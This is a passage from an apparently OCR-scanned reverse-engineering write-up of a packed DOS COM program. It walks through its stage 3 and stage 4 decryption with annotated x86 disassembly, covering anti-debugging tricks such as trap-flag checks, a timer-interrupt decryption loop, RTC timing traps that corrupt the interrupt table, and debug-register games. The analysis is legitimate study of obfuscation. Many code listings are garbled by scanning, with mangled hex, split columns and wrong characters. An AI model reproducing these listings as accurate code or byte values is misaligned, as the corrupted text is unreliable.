that it disassembled the instructions correctly. Once you get past this trick, the code is revealed to check if TF (trap
flag) was unset and “adjusts” the stack pointer by 0x100. This way the program will soon crash if you were
examining this part in a debugger and disabled the trap flag.

0000:0750 9c pushf

;3 stack = flL flH 00 01 00 01 00 @1 00 01 bpL bpH spL spH @0 00 dl dh ?? ch 00 00
0000:0751 58 pop ax ; ax = flags ; stack = 00 01 00 01 00 01 ..
0000:0752 £7d0 not ax ; ax = flags#

0000:0754 ebol jmp @0x757

;3 This is not a jump to next instruction (eb0o),

;3 it skips one byte (eb@1)! These instructions do not make sense.
0000:0756 9225000103 lcall 0x301:0x25 ; Decoy - not a real insn
0000:075b efal loopne 0x6fe ; Decoys



0000:075d 2000 and byte [bx + sil, al ; Decoys

;3 This is what the disassembler produces when
;; started at the correct address (0x747)
0000:0757 250001 and ax, 0x100 ; ax = 0x100 if TF=0, 0x0 if TF=1
0000:075a 03e0 add sp, ax ; Roll stack back 0x100 if trap flag
; was unset at 750

Next up the code saves the value of interrupt 8 handler. The old interrupt vector is saved at si+0x490 and si+0x492,
which is an area at the very end of loaded COM file (the file ends at Oxbed). Bytes Oxbf2-0xbfd contain zeros, they
are reserved for storing stuff.

;3 Save INT8's segment:offset address at si+@x490 and si+0x492 (@xbf2:0xbf4)

0000:075c al2000 mov ax, word [0x20] ; Load offset address
0000:075f €80000 call 0x762

0000:0762 5e pop si ; S1 = 0x762

0000:0763 2e89849004 mov word cs:[si + 0x490]1, ax ; Save offset address
0000:0768 al2200 mov ax, word [0x22] ; Load segment address
0000:076b 289849204 mov word cs:[si + @0x492], ax ; Save segment address

Then it redefines the PIT’s interrupt handler to be at cs:07e4

0000:0770 8bcb mov ax, si ; ax := Si

0000:0772 50 push ax ; stack = 62 07 00 01 ...
0000:0773 058200 add ax, 0x82 ; ax = 7e4

0000:0776 232000 mov word [0x20], ax o

0000:0779 8c0e2200 mov word [@x22], cs ; Set cs:07e4 as INT8

Interrupt 8 is reserved for “Double Fault” in the CPU (a handler for servicing a fault inside an exception handler).
However due to IBM PC’s engineering team oversight, some ofthe first 0x1f interrupts were assigned to outside of
the CPU itself. INT8 on the PC is the Programmable Interval Timer interrupt. We will come back to what the handler
does in a moment. For now let’s just continue with our analysis.

The program loads two words from 10 port 0x40, which is PIT’s timer value (it increases as the timer counts). These
two words are set as the segment:offset of interrupt 7’s address. Interrupt 7 is “Coprocessor Not Available” and is
triggered when a coprocessor instruction is executed but there is no coprocessor. On IBM PC, the coprocessor is
an x87 floating point unit. The x87 is included on die in all x86 CPUs after 386. The code sets these (random) values
as the interrupt handler, then executes an FPU NOP. If the FPU is not available, it will trigger the interrupt and crash
the system. Why it’s doing this is unknown to me. Maybe it’s to prevent running the program on FPU-less machines.
It might also be an anti-virtualization measure, to catch some simple hypervisors of the era that did not emulate
(restore/save) the FPU (and the FPU not available flag was set).

Either way, this part of the code prevents running the program on FPU-less machines.

;3 Check for FPU, crash if its not there.

0000:077d e540 in ax, 0x40 ; Load timer count
0000:077f a31co0 mov word [@x1c]l, ax ; Set offset
0000:0782 e540 in ax, 0x40

0000:0784 a31e00 mov word [@xle], ax ; Set segment
0000:0787 dodo fnop ; Trigger fault

When the FPU check passes, the code redefines the invalid instruction interrupt, Interrupt 6 “Invalid Opcode”:

0000:0789 58 pop ax ; Pop saved ax = 0x762
0000:078a 50 push ax ; Push it back
0000:078b 05d400 add ax, 0xd4 ; ax = 0x836

0000:078e 231800 mov word [@0x18], ax



0000:0791 8c0ela0o mov word [@xlal, cs ; Set INT6 to cs:0836

The code at ¢s:0836 will be called whenever the processor attempts to execute an invalid instruction. On this error,
the processor will push eflags, cs and ip to the stack and execute the handler. Let’s take a look at what the new
handler is:

;3 INT6 handler set at cs:0791
;3 stack words = ip cs flags

0000:0836 0f23d0 mov dr2, eax ; Overwrite breakpoint 2
0000:0839 55 push bp ; Save bp

0000:083a 8bec mov bp, sp p

0000:083c 83460202 add word [bp + 2], 2 ; Add 2 to saved ip
0000:0840 5d pop bp ; Restore bp

0000:0841 cf iret ; Return from interrupt

; (pop ip, pop cs, pop flags)

This handler will simply advance the instruction pointer by two bytes relative to the errorneous instruction, and
resume the code
execution. It will also unset the breakpoint address set in dr2.

Continuing our analysis after the invalid opcode interrupt was installed we arrive at some code that clears the trap
flag:

0000:0795 9c pushf ;

0000:0796 58 pop ax H kg

0000:0797 25fffe and ax, Oxfeff ; Clear trap flag
0000:079a 50 push ax "l =

0000:079b 9d popf ;

And then redefines the debug handler again.

0000:079c 58 pop ax ; ax = 0x762
0000:079d 053701 add ax, 0x137 ; ax = 0x899
0000:07a0 a30400 mov word [4], ax CR.

0000:07a3 8c0e0600 mov word [6], cs ; Set cs:0899 as INT1

As we will see in a moment, the code at 899 is still encrypted, so there is no point trying to understand it. This
means that hitting any breakpoint here will crash the computer, as the CPU tries to execute encrypted code. (It’s
hard to say whether it’s the program or the debugger that will crash, since DOS is a single-tasking OS)

The next part of stage 3 code is perhaps the most interesting. It’s another anti-re technique that makes dynamic
analysis harder, if not impossible using regular tools. The code calls DOS int 1Ah ah=0x02 to get the RTC time, runs
a few instructions that have no effect (apart from breaking the dr1 breakpoint) and then then compares the RTC
time...

;3 Get RTC time and save second count

0000:07a7 b402 mov ah, 2 8
0000:07a9 cdla int 0x1la ; INT 1A, AH=0x@2: get RTC time
0000:07ab 52 push dx ; Push seconds (dh) + DST flag (dl)

;3 Reprogram PIT channel 1

0000:07ac b0Ob6 mov al, 0xb6 al = 0xb6 = 0b10110110

0000:07ae e643 out 0x43, al ; Set PIT: chl, acces lo/hi,
0000:07b0 b002 mov al, 2 ; mode 2, 16b binary mode

0000:07b2 €640 out 0x40, al 8 oo

0000:07b4 €640 out 0x40, al ; Set 0x0202 as timer @ reload value

;3 The program changes timer 1 mode but writes timer @ value!



0000:07b6 0f20c0 mov eax, Ccr@ ; Mangle cr@ through drl

0000:07b9 0f23c8 mov drl, eax ; (this does not change cro)

0000:07bc 0f21cb mov ebx, drl ;

0000:07bf 0f22c3 mov cr@, ebx ;

;3 Get RTC time again and save second count

0000:07c2 b402 mov ah, 2 ;

0000:07c4 cdla int 0x1la ; INT 1A, AH=0x02: get RTC time

0000:07c6 58 pop ax ; ax = previous sec count (ah),
; and dst flag (al)

0000:07c7 2af4 sub dh, ah ; Subtract old seconds count

At the end of this code, register dh contains the seconds difference of wall clock time between the execution of 7a9
and 7c4. If a debugger halted the program at that time, for example because of a breakpoint set at cr0, then the dh
register will be non zero.

Then the program executes this loop, which will XOR every third byte in a region with dh value...

0000:07c9 b98400 mov cx, 0x84 ; CX = 0x84
0000:07cc 33ff xor di, di ; di =0
.—> 0000:07ce 3035 xor byte [di], dh ; 0000:0000 ~= dh
: 0000:07d0 83c703 add di, 3 ; di += 3
‘—— 0000:07d3 e2f9 loop 0x7ce ; Loop back

...but ds is still 0000, and with di initially set to zero, this loop will xor the least significant byte of the addresses in
the IVT for the first 0x84 interrupts. This will effectively crash the system as some of these interrupts are executed
even when the system is idle.

After this anti debugging trap, the code goes on:

0000:07d5 Qe push cs ;

0000:07d6 1f pop ds ; ds = cs

0000:07d7 8bcb mov ax, si ; ax = 0x762

0000:07d9 05e000 add ax, 0xe0 ; ax = 0x842

0000:07dc 89849404 mov word [si + @x494], ax ; Ox0bf6 = 42, 0x0bf7 = 08
0000:07e0 b sti ; Enable ext. interrupts
0000:07el eb3f jmp 0x822 ; Jump to invalid instr.

It sets ds to cs, which as we’ve seen previously, indicates there will be operations on the code segment in memory.
The code loads a pointer into a predefined place near the end of code memory, just after the saved interrupt 8 value.
Then it enables interrupts with sti and jumps to 0x822..

0000:0822 ff invalid
0000:0823 ff invalid
0000:0824 ebfc jmp 0x822 ; jump back to the invalid instruction

..which is an undefined instruction (ff). The illegal instruction handler will advance ip by 2, so the next instruction that
is executed is at 824, which is a jump back to 822. At this point the code will loop indefinitely handling the invalid
instruction and jumping back to it.

Or will it?

We didn’t look at the PIT’s interrupt handler that was set at 779. Let’s see what that part does:

;3 Assuming this will occur while the #UD interrupt is looping, then registers are
; like they were at 7el.
;3 S1 = 0x762, constant in this fragment



;3 Stage 3 decryption loop
;3 word cs:[si + @0x494] is the ciphertext pointer. We are in the interrupt handler.

;3 stack =

HH -es— —-ds- -di- -si-

;3 1p cs eflags 0100 0100 0100 0100 bp sp 0000 dx cx ax
;3 ~——— Top of stack (sp)

;; load di with ciphertext pointer
0000:07e4 2e8bbc9404 mov di, word cs:[si + 0x494]

33 First run its ax saved at 7cc; di = 0x842

0000:07e9 8bcb mov ax, Si ; ax = 0x762
0000:07eb 05a202 add ax, 0x2a2 ; ax = 0xad4;
0000:07ee 3bf8 cmp di, ax ;

.——— 0000:07f0 7522 jne 0x814 ; Skip the code if not

‘——> 0000:0814 Qe push cs ; We know this one, ds = cs
0000:0815 1f pop ds p g
0000:0816 803501 xor byte [di], 1 ; Decrypt ciphertext byte
0000:0819 1849404 inc word [si + @x494] ; Increase the ciphertext ptr
0000:081d b020 mov al, 0x20
0000:081f €620 out 0x20, al ; Primary PIC command 20, EOI
0000:0821 cf iret ; Finish “servicing” the ISR

; Pull ip, cs, eflags.

;3 This code executes after the decryption is done (jne at @0x7f@ is not taken)
0000:07f2 6200 push @

0000:07f4 1f pop ds ; ds = 0000
0000:07f5 fa cli ; disable ext. interrupts
0000:07f6 2e8b849004 mov ax, word cs:[si + Ox490] ; si+490 = bf2
0000:07fb 232000 mov word [0x20], ax HE.
0000:07fe 2e8b849204 mov ax, word cs:[si + @x492] ; si+492 = bf4
;3 restore INT8 (PIT) segment:offset from bf2:bf4
0000:0803 a32200 mov word [@x22], ax
0000:0806 b sti ; Enable ext. interrupts
0000:0807 8bec mov bp, sp ; bp = sp
0000:0809 8bcb mov ax, si ; ax = 0x762
0000:080b 054b01 add ax, 0x14b ; ax = 0x8ad
0000:080e 894600 mov word [bp], ax ; Set top of stack to @x8ad
.——— 0000:0811 eb@a jmp 0x81d
H 0000:0813 90 nop
‘——> 0000:081d b020 mov al, 0x20 ; PIC End Of Interrupt command
0000:081f €620 out 0x20, al .
0000:0821 cf iret ; Return from ISR

;3 Pop ip, cs, eflags pushed by the cpu at start of ISR
;3 Execution continues at cs:08ad

This is the stage 3 decryption loop. It is surprisingly simple, but the loop that carries it out is concealed. It’s done by
hooking the programmable timer interrupt. This interrupt handler will execute every time the timer ticks. The interrupt
handler will load di with the si+0x494 value (ciphertext pointer). Then it compares it with the pointer to the end of
stage 3 ciphertext (which is at the start of the stage 2 key LUT). If it’s not equal, the ciphertext is not fully decrypted
and the ISR decrypts the next byte by xoring it with 0x01. The ciphertext pointer is increased and the service routine
is finished (PIC signalled, iret executed).

The C code that | used to simulate stage 3 and prepare a memory image of stage 4 code looks like this:



uint8_t* ciphertext = memory+@x832;

do {

*ciphertext ~= 0x01;

ciphertext ++;

As | said, the complexity lies within the implementation using INT1 and INT3.

This loop will decrypt memory from 0x842 to 0xa04. Between the interrupts, the CPU will be busy executing the
invalid instruction handler caused by invalid instructions at 812. The xor value is 1 because 0x822 is within the area
being decrypted by this stage. The decrypted value for ff is fe, which also happens to be an invald instruction. This
way the #UD hanlder will keep looping the CPU even after the bytes at 0x822 is decrypted.

After the decryption is done, the ciphertext pointer (di) matches the end pointer (ax) and the jump at 7f0 will not be
taken. The interrupt routine will restore the original timer interrupt routine address, edit the saved ip on the stack to
point to stage 4 entry point, and then jump there using iret. Stage 4 entry is at cs:08ad.

Here is the full stage 3 code as decrypted by stage 2.

7/
stage ‘:

-

; Int 1 at 70e is still active - trap frag is set
; —— stage 3 entry point

*k  0000:0749 fa cli ; Disable external interrupts

0000:074a 60 pushaw

0000:074b le push ds

0000:074c 06 push es

0000:074d 6a00 push @

;5 stack = 00 00 00 01 00 01 00 01 00 @1 bpL bpH spL spH 00 00 dl dh ?? ch 00 00

0000:074f 1f pop ds ; ds = 0000;

0000:0750 9c pushf ; stack = fIL flH 00 01 ...

0000:0751 58 pop ax ; ax = flags ; stack = 00 01 00 01 ..

0000:0752 f7d0 not ax ; ax = flags#

0000:0754 eb0l jmp @x757 ; Not a jump to next instruction (eb0@),

; it skips one byte (eb@1) instead!
0000:0756 9225000103 lcall 0x301:0x25 ; Decoy
0000:075b efal loopne 0Ox6fe d
0000:075d 2000 and byte [bx + sil], al ;

;3 This is what the disassembler produces when started at the correct address (0747)
0000:0757 250001 and ax, 0x100 ; ax = 0x100 if TF=0, 0x0 if TF=1
0000:075a 03e0 add sp, ax ; Roll stack back 0x100 if trap

; flag was unset at 750
0000:075c¢ al2000 mov ax, word [0x20] ; Load offset address

0000:075f 80000 call 0x762

0000:0762 5e pop si ; Si = 0x762

0000:0763 2e89849004 mov word cs:[si + @x490], ax ; Save offset address

0000:0768 al2200 mov ax, word [0x22] ; Load segment address



0000:076b 2289849204 mov word cs:[si + @x492], ax ; Save segment address
0000:0770 8bcb mov ax, si ; ax := Ssi

0000:0772 50 push ax

0000:0773 058200 add ax, 0x82 ; ax = 7e4

0000:0776 232000 mov word [0x20], ax HE

0000:0779 8c0e2200 mov word [@x22], cs ; Set cs:07e4 as INT8
;3 Check for FPU, crash if its not there.

0000:077d e540 in ax, 0x40 ; Load timer count
0000:077f a31co0 mov word [@x1c]l, ax ; Set offset
0000:0782 e540 in ax, 0x40

0000:0784 a31e00 mov word [@xlel, ax ; Set segment
0000:0787 dodo fnop ; Trigger fault
0000:0789 58 pop ax ; Restore ax = 0x762
0000:078a 50 push ax ; stack = 62 07 00 ...
0000:078b 05d400 add ax, 0xd4 ; ax = 0x836
0000:078e 231800 mov word [0x18], ax ;

0000:0791 8c0eladod mov word [@xlal, cs ; Set INT6 to cs:0836
0000:0795 9c pushf ;

0000:0796 58 pop ax H

0000:0797 25fffe and ax, Oxfeff ;

0000:079a 50 push ax H B

0000:079b 9d popf ; Clear trap flag
0000:079c 58 pop ax ; ax = 0x762,
0000:079d 053701 add ax, 0x137 ; ax = 0x899
0000:07a0 230400 mov word [4], ax HE.

0000:07a3 8c0e0600 mov word [6], cs ; Set ¢s:0899 as INT1
;3 Get RTC time and save second count

0000:07a7 b402 mov ah, 2

0000:07a9 cdla int 0x1la ; INT 1A, AH=0x02: get RTC time
0000:07ab 52 push dx ; Push seconds (dh) + DST flag (dl)
;3 Reprogram PIT channel 1

0000:07ac b0Ob6 mov al, 0xb6 ; al = 0xb6 = 0b10110110
0000:07ae e643 out 0x43, al ; Set PIT: chl, acces lo/hi,
0000:07b0 b002 mov al, 2 ; mode 2, 16b binary mode
0000:07b2 €640 out 0x40, al HE®

0000:07b4 €640 out 0x40, al ; Set 0x0202 as timer @ reload value
;3 The program changes timer 1 mode but writes timer @ value!

0000:07b6 0f20c0 mov eax, cr@ ; Mangle cr@ through drl
0000:07b9 0f23c8 mov drl, eax ; (this does not change cro)
0000:07bc 0f21cb mov ebx, drl ;

0000:07bf 0f22c3 mov cr@, ebx ;

;3 Get RTC time again and save second count

0000:07c2
0000:07c4
0000:07c6

0000:07c7

b402 mov ah, 2
cdla int 0x1la INT 1A, AH=0x02: get RTC time
58 pop ax ax = previous second count (ah)

and dst flag (al)
Subtract old seconds count

~r we N s

2af4 sub dh, ah



;3 Rewriting the IVT. If more than 1 second elapsed between execution of 797 and 7b2,
;3 then dh is non zero and the IVT’'s offset low bytes will all be corrupted.
;3 Mind you, ds is still 0000

0000:07c9 b98400 mov cx, 0x84 ; CX = 0x84
0000:07cc 33ff xor di, di ; di =0
.—> 0000:07ce 3035 xor byte [di], dh ; 0000:0000 ~= dh
: 0000:07d0 83c703 add di, 3 ; di += 3
‘—— 0000:07d3 e2f9 loop 0x7be ; Loop
0000:07d5 Qe push cs H
0000:07d6 1f pop ds ; ds = cs
0000:07d7 8bcb mov ax, si ; ax = 0x762
0000:07d9 05e000 add ax, 0xe0 ; ax = 0x842
0000:07dc 89849404 mov word [si + @x494]1, ax ; Save 0x842 to cs:0bf6
0000:07e0 b sti ; Enable ext. interrupts
0000:07el eb3f jmp 0x822 ; Jump to invalid insns
Stage //||
|-
[

The entry point starts at 08ad. The stack state is the same as it was at stage 3 entry point. The first instruction is a
subroutine call, one of the few call instructions that actually call a function instead of being used for position
independent code (the previous one was in stage 2).

0000:08ad e8caff call 0x87a ; Call subroutine at 87a
0000:087a 6a00 push @ ;

0000:087c 1f pop ds ; ds = 0000

0000:087d c536a000 1ds si, [0xa0]

;3 S1 = 0000:00a0, ds = 0000:00a2
; load ds:si with segment:offset from @xa@, INT28 handler

DOS Idle Interrupt

0000:0881 ad lodsw ax, word [sil ; ax = ds:isi, si += 2
0000:0882 3d9cfb cmp ax, Oxfb9c

0000:0885 750c¢ jne 0x893

0000:0887 ad lodsw ax, word [sil

0000:0888 3d3d55 cmp ax, 0x553d

0000:088b 7506 jne 0x893

0000:088d ad lodsw ax, word [sil

0000:088e 3d2d75 cmp ax, 0x752d

0000:0891 7401 je 0x894

0000:0893 c3 ret ; Return from call
0000:0894 eal0ooffff 1jmp Oxffff:0 ; Invalid address

The function loads the address of INT 28h handler into ds:si and then loads and compares three words starting at
that address. If the words do not match the values compared, the function returns normally. If all three words match,
then the function executes a long jump into oblivion.

The comparison values make up a piece of x86 code listed below:

9c pushf
fb sti
3d552d cmp ax, 0x2d55



75272 jne ??

INT 28h is the DOS idle interrupt. The code that the function compares against looks like valid code for a start of an
INT service handler. Perhaps it’s installed by some debugger or other tool that this program is supposed to protect
against?

After the check function returns, the code restores es, ds and all general purpose registers from stack, then
immediately saves them back.

0000:08b0 o7 pop es ; es = 0100 (cs)
0000:08b1 1f pop ds ; ds = 0100 (cs)
0000:08b2 61 popaw

0000:08b3 60 pushaw

0000:08b4 le push ds

0000:08b5 06 push es

The register contents at this point are listed below:

ax = 0000 bx = 0000 CX = XX?7?
dx = Qacl ds = 0100 es = 0100
di = 0100 si = 0100 bp = sp + 6

Then the code sets the PIT’s channel 1 reload value to ffff. On older machines PIT channel 1 was used for DRAM
refresh.

0000:08b6 b0b6 mov al, 0xb6 ;

0000:08b8 e643 out 0x43, al ; PIT command b6: chl,
0000:08ba boff mov al, Oxff ; acces lo/hi, mode 2, 16 bit
0000:08bc e640 out 0x40, al ;

0000:08be €640 out 0x40, al ; Load oxffff to PIT ch 1.

Next the code checks DOS version, and exits cleanly to dos if it’s below major version 2.

0000:08c0 b430 mov ah, 0x30 ; INT 21h, ah=0x30:

0000:08c2 cd21 int 0x21 ; Get DOS version

0000:08c4 3c02 cmp al, 2 ; Compare maj version with 2
0000:08c6 7305 jae 0x8cd ; Jump above or equal
0000:08c8 33c0 Xor ax, ax ; ax = 0

0000:08ca 06 push es ; es = cs

0000:08cb 50 push ax

0000:08cc cb retf ; Pull cs:0000 and jump there

The exit is done by jumping to ¢s:0000 which is the very beginning of Program Segment Prefix. To maintain
compatiability with CP/M, DOS puts an exit vector there (An INT 20h instruction). It’s one of the ways to exit to DOS
cleanly.

0000:08cd b430 mov ah, 0x30
0000:08cf cd21 int 0x21 ; Get DOS version again

If DOS’ major is at least 2, the code goes on. INT 21h (ah=0x30) is executed again, but the result is discarded. bp
and bx are loaded with two pointers from the PSP, and di and cx are loaded with some constants. If you look up the
ascii values of the constants, di:cx will read “SUCK”.

;3 PSP:02 segment of first byte beyond memory allocated to program
0000:08d1 8b2e€0200 mov bp, word [2] ; bp = x(0100:0002) ;
;3 PSP:2c DOS 2+ environment for process

0000:08d5 8ble2c00 mov bx, word [0x2c] ; bx = %(0100:002c)



0000:
0000:

08d9
08dc

bf5553
b94b43

mov di, ©@x5355

mov

Does the author tell us to “SUCK” di:cx here?

cX,

0x434b

0x5355 “Su”
0x434b “CK”

; di
3 CX

Whatever the aim is, DOS version is requested a third time, then compared with 2 again and the result is discarded
(the jump continues execution the same in either case). Some values are loaded into registers, the constants are
loaded again.

0000:
0000:
0000:
0000:
0000:
0000:
0000:
0000:
0000:
0000:
0000:

08df
08el
08e3
08e5
08e7
08e9
08ec
08ee
08ef
08f1
08f4

b430
cd21
3c02
7300
33c0
bf0000
8b00
90
2bf7
bf5553
b94b43

mov
int
cmp
jae
xor
mov
mov
nop
sub
mov
mov

ah,
0x21
al,
0x8e
ax,
di,
ax,
si,
di,
CX,

Now the interesting part starts. We have more PIC.
calculated, and a value of ffff is loaded there:

0000:
0000:
0000:
0000

08f7
08fa
08fb

:08ff

e€80000

5e
81c6fed2
2ec704ffff

0x30

2
7
ax
0
word [bx + si]

di
0x5355
0x434b

; Get DOS version (3rd time)
i

; Either case continues

B code execution.

; SUCK again

First, a pointer to a storage area at the end of the binary is

call 0x8fa

pop

si

add si, Ox2fe

mov word cs:[si],

; Si = @x8fa
; Si = Oxbf8

Ooxffff ; cs:0bf8 = Oxffff

Then there is another “call; pop si” sequence and a pointer to the beginning of what stage 3 decrypted is calculated

in two steps.
0000:0904 €80000 call 0x907 L.
0000:0907 5e pop si ; = 0x907
;3 si = 0x6be now points at start of what stage 1 decrypted (cs has changed)
0000:0908 81lee4902 sub si, 0x249 ; S1 = @Ox6be
0000:090c le push ds ; Save ds stack = 01 00 ...
0000:090d 6200 push @ HE.
0000:090f 1f pop ds ; ds = 0000
0000:0910 8bcb mov ax, si ax = 0x6be
;3 ax = 0x842 points at start of what stage 3 decrypted (cs has changed)
0000:0912 058401 add ax, 0x184 ; ax = 0x842

Accumulator ax now contains the pointer to the beginning of decrypted stage 4 code. In between the steps, ds is
zeroed. Then, two interrupt routine handlers are installed:

0000:
0000:
0000:
0000:
0000:
0000:

0915
0918
091c
091e
0921
0924

a30co00
8c0e0ed0
8bcb
056a01
231800
8c0elado

mov
mov
mov
add
mov
mov

word [@xc], ax

word [Oxel, cs

ax,
ax,

si

word [0x18], ax

word [0xlal, cs

0x16a 3

; Set INT3 to cs:0842
; ax = 0xb6be
ax = 0x828

; Set INT6 to cs:0828

A word at 0000:0270 is set to ea 00 (ea at 270, 00 at 271). Then a pointer is calculated and saved at 271, along with
the code segment at 273.

0000:
0000:
0000:

0928
092e
0930

c7067002ea00

8bcb
051302

mov word [0x2701,

mov ax, Si
add ax, 0x2f3

Oxea

; Set 0000:0270 to ea 00
; ax = 0x6be
; ax = 0x9b1l



0000:0933 a37102 mov word [0x271], ax ; Set 0000:0271
0000:0936 8c0e7302 mov word [@x273], cs ; Set 0000:0273

ax
Cs

If you noticed that this together forms the long jump instruction with immediate operand (opcode ea), then you are
right, because that’s exactly what it is, as | will show in a moment. On my test DOS 6.22 VM, the area at 0000:0270
points to an unused interrupt. (The segment:offset pointers all point to an iret).

The code then saves the current si, and loads the current ip into si again, then calculates a pointer. The pointer is left
in si.

0000:093a 56 push si ; stack = be 06
0000:093b e80000 call 0x93e ;

0000:093e 5e pop si ; Si = 0x93e
0000:093f 56 push si ; stack = 3e 09 be 06
0000:0940 83c61d add si, 0x1d ; si = 0x95b
0000:0943 90 nop

Then the program does a very interesting trick:

0000:0944 66b84de80100 mov eax, Oxfe84d :

0000:094a 0f23c0 mov dr@, eax ; Set Oxfe84d as breakpoint 0
0000:094d 66b803000000 mov eax, 3 ;

0000:0953 0f23f8 mov dr7, eax ; Set breakpoint @ conditions
0000:0956 eadde800f0 1jmp 0xf000:0xe84d ; Jump to lin. address = 000f e84d

First, a constant value is loaded into dr0. Then, dr7, which is the control register for the debug core, enables this
breakpoint to trigger on instruction execution. Finally, a long jump is executed to the address that was just set as the
breakpoint address. This, of course, triggers the debug interrupt handler.

| have to point out that this looked fairly obvious. Due to how segmented memory works, there is a lot of
segment:offset combinations that point to the same linear address, so a jump to ex. fd73:111d would also trigger
the breakpoint, while being a bit more covert about it.

The long jump at 956 triggers the debug interrupt, INT1 handler, and the execution continues inside it at 899. INT1
was set in the previous stage at 7a0. The code is now decrypted and makes sense:

;3 INT1 handler. ISR stack words are = ip cs flags

0000:0899 8bec mov bp, sp ; bp = sp

0000:089b 897600 mov word [bpl, si ; Set return ip to si
0000:089%e 8c4e02 mov word [bp + 2], cs ; Set return segment to cs
0000:08al 6633c0 Xor eax, eax ; Clear eax

0000:08a4 0f23f8 mov dr7, eax ; Clear all bp conditions
0000:08a7 0f23c0 mov dr@, eax ; Clear dro

0000:08aa cf iret ; Continue execution at cs:si

The handler clears the interrupt, then resumes execution to cs:si by manipulating the return address on it’s stack.
the Source Index register (si) was set to 0x95b by code at 940, so that is where the execution will continue. It is also
the immediately next instruction after that long jump. Let’s follow the code.

;3 stack grew by 4 bytes: 3e 09 be 06

0000:095b 5e pop si ; sSi = 0x03e

0000:095c 81lc66dff add si, oOxffeéd ; Si = 0x08ab (overflow)
0000:0960 6a00 push @ ;

0000:0962 1f pop ds ;

0000:0963 89360400 mov word [4], si 7

0000:0967 8c0e0600 mov word [6], cs Set INT 1 handler to cs:08ab



Register si is again used to calculate a code pointer and set it as an interrupt handler (this has been a pattern,
obviously). Next up we have some more register shuffling:

0000:096b 5e pop si ; S1 = Ox6be
0000:096C 1f pop ds ; ds = 0x0100
0000:096d 8cd8 mov ax, ds ; ax = 0x0100
0000:096f 051000 add ax, 0x10 ; ax = 0x0110
0000:0972 8ed8 mov ds, ax ; ds = 0x0110
0000:0974 le push ds ;

0000:0975 o7 pop es ; es = 0x0110
0000:0976 8bd6 mov dx, si ; dx = 0x08ab
0000:0978 bd0000 mov bp, @ ; bp =0

0000:097b fc cld ; Clear direction flag

Note that both ds and es were set to the code segment offset by 0x10 - this effectively makes ds:0000 point to the
beginning of the program (offset 0x100 in the load segment). Remember that the first 0x100 bytes in the program
load segment is allocated for the PSP.

The above code fragment set up registers for more string operations (lods/stos). ds and es are set with meaningful
values, and finally, the direction flag is adjusted. Clear direction flag means the lods/stos operations will increment
the si/di registers.

Then there is some dummy code for obfuscation (these instructions do not do anything meaningful). There is two
more constants loaded into the registers. cl, that used to carry the key byte, is loaded with initial value of 0x68, and
bx is loaded with 0x537, which looks very much like the length of the original binary. Recall that the very first
instruction of the COM file is a jump to 0x63a, or 0x537+0x100+0x03 (load offset + length of first jump).

0000:097c 9b wait ; Wait for BUSY# to go high
0000:097d dbe3 fninit ; Initialize FPU
0000:097f b168 mov cl, 0x68 ; ¢l = 0x68
0000:0981 Obed or bp, bp ; Set zero flag (ZF=1)
.—— 0000:0983 7441 je 0x9c6 ; Jump is taken
‘—> 0000:09c6 bb3705 mov bx, 0x537 ; bx = @x537

Then we have more register set up related to the string instructions. The source index is set to 3, and the destination
to 0. It should be now clear that this stage will copy (and decrypt in the process) the original program code, moving
it from offset 0x103 (es:si) to 0x100 (es:di)

.—— 0000:09c9 ebbc jmp 0x987
: 0000:0985 33db xor bx, bx
‘—-> 0000:0987 be0300 mov si, 3 ; Si = 0x03

0000:098a bf0000 mov di, O ; di = 0x00
;5 ds:si points at the first byte of the executable
;3 (after the jmp 0x64a at the very beginning)

(*x)->0000:098d ac lodsb al, byte [sil ; al = ds:si, al = Ox81. si++
0000:098e d2co rol al, cl ; Rotate al
0000:0990 32cl xor al, cl ; Xor al with 0x68

The first byte of the payload is loaded into al, then al is rotated 0x68 times. The rotation does not change al because
0x68 is a multiple of 8. Next al is xored with the constant value of 0x69 (cl). This is the first part of the decryption.

However after this snippet there is a very unusual block of instructions. | will list it here and then go through them
one by one.

0000:0992 cc int3 ; Call INT3 handler (cs:0832)



Let’s trace what this code fragment will execute. First, let’s take a look at ¢s:0842 which is the current INT3 interrupt

0000:0993
0000:0994
0000:0995
0000:0996
0000:0998
0000:099a
0000:099d
0000:099f
0000:09a2
0000:09a5
0000:09a7
0000:09aa
0000:09ac

handler...

->

€a00002700

intl ;
invalid ;
invalid

fnop ;
fnop
mov drl,
fnop
mov dr3,
mov eax,
fnop
mov cro,
fnop
1jmp 0x27:0

eax ;
H
eax ;
cro d
’
’
i
i

€ax

;3 This procedure leaves ax (ah,al) clobbered

;3 1t also reads the initial storage area value from dx

Call INT1 hanlder (cs:@8ab)
Trigger INT6 handler

INT6 handler returns here

Scrap the debug registers

; just in case someone’s watching

; Do funny stuff with cro

Jump to linear address 0000 0270

;3 Saved cs:ip points to next instruction (cs:0993)

;3 Register state at

;3 ax = 01e9
;73 al = e9
7 si = 0003
;3 bx = 0537
;3 dx = 08ab

ah
di

01
0000

the end:

cl = 68

source and destination pointers

size of decrypted binary?

;3 This procedure decrypts the final (?) stage of the binary
;3 al — ciphertext byte

0000:0842
0000:0843
0000:0844
0000:0845
0000:0846
0000:0847
0000:0849
0000:084a
0000:084d
0000:0850
0000:0852
0000:0855
0000:0856
0000:0857
0000:0859
0000:085d
0000:0860
0000:0862
0000:0863
0000:0865
0000:0868

0000:086a
0000:086¢
0000:086e
0000:086f
0000:0871
0000:0872
0000:0874
0000:0876
0000:0877

56
le

e80000
5e

50
8bcb
81c6a303
057901
3904
58
7205
0f23d2
8914

ffo4
8b34
4e
8aed
ac
32e0
8ac4
59
1f

push si

push ds

push cx

push cs

pop ds

push eax

cld

mov eax, cr@
mov cr@, eax
pop eax

call 0x845
pop si

push ax

mov ax, Si
add si, 0x3a3
add ax, 0x179
cmp word [si], ax
pop ax

jb @0x85a

mov dr2, edx
mov word [si], dx

inc word [si]

mov si, word [sil
dec si

mov ah, al

lodsb al, byte [sil
xor ah, al

mov al, ah

pop cx

pop ds

Save si, ds, cx

ds = cs;
Save eax;
Clear direction flag

Do nothing with cr@
Restore eax

si = @x855
stack words = ax cx ds si
ax = 0x855
si = 0xbf8

ax = 0x9ce, si + 0x179
Compare 9ce and *(cs:0bf8)
Restore ax

Jump if below (CF=1)
Write dx to dr2

Load dx (8ab) to cs:0bf8

Increase the counter (@xbf8)
Load counter to si
Decrement si

; ah = al

Load second ciphertext
ah *= al —— decrypt
Move cleartext byte to al



0000:0878 5e pop si ; Restore si, ds, cx
0000:0879 cf iret ; Return from interrupt.

In this part, after ax is restored at 862, al contains the result of the xor at 990. Then al is saved int ah. si is
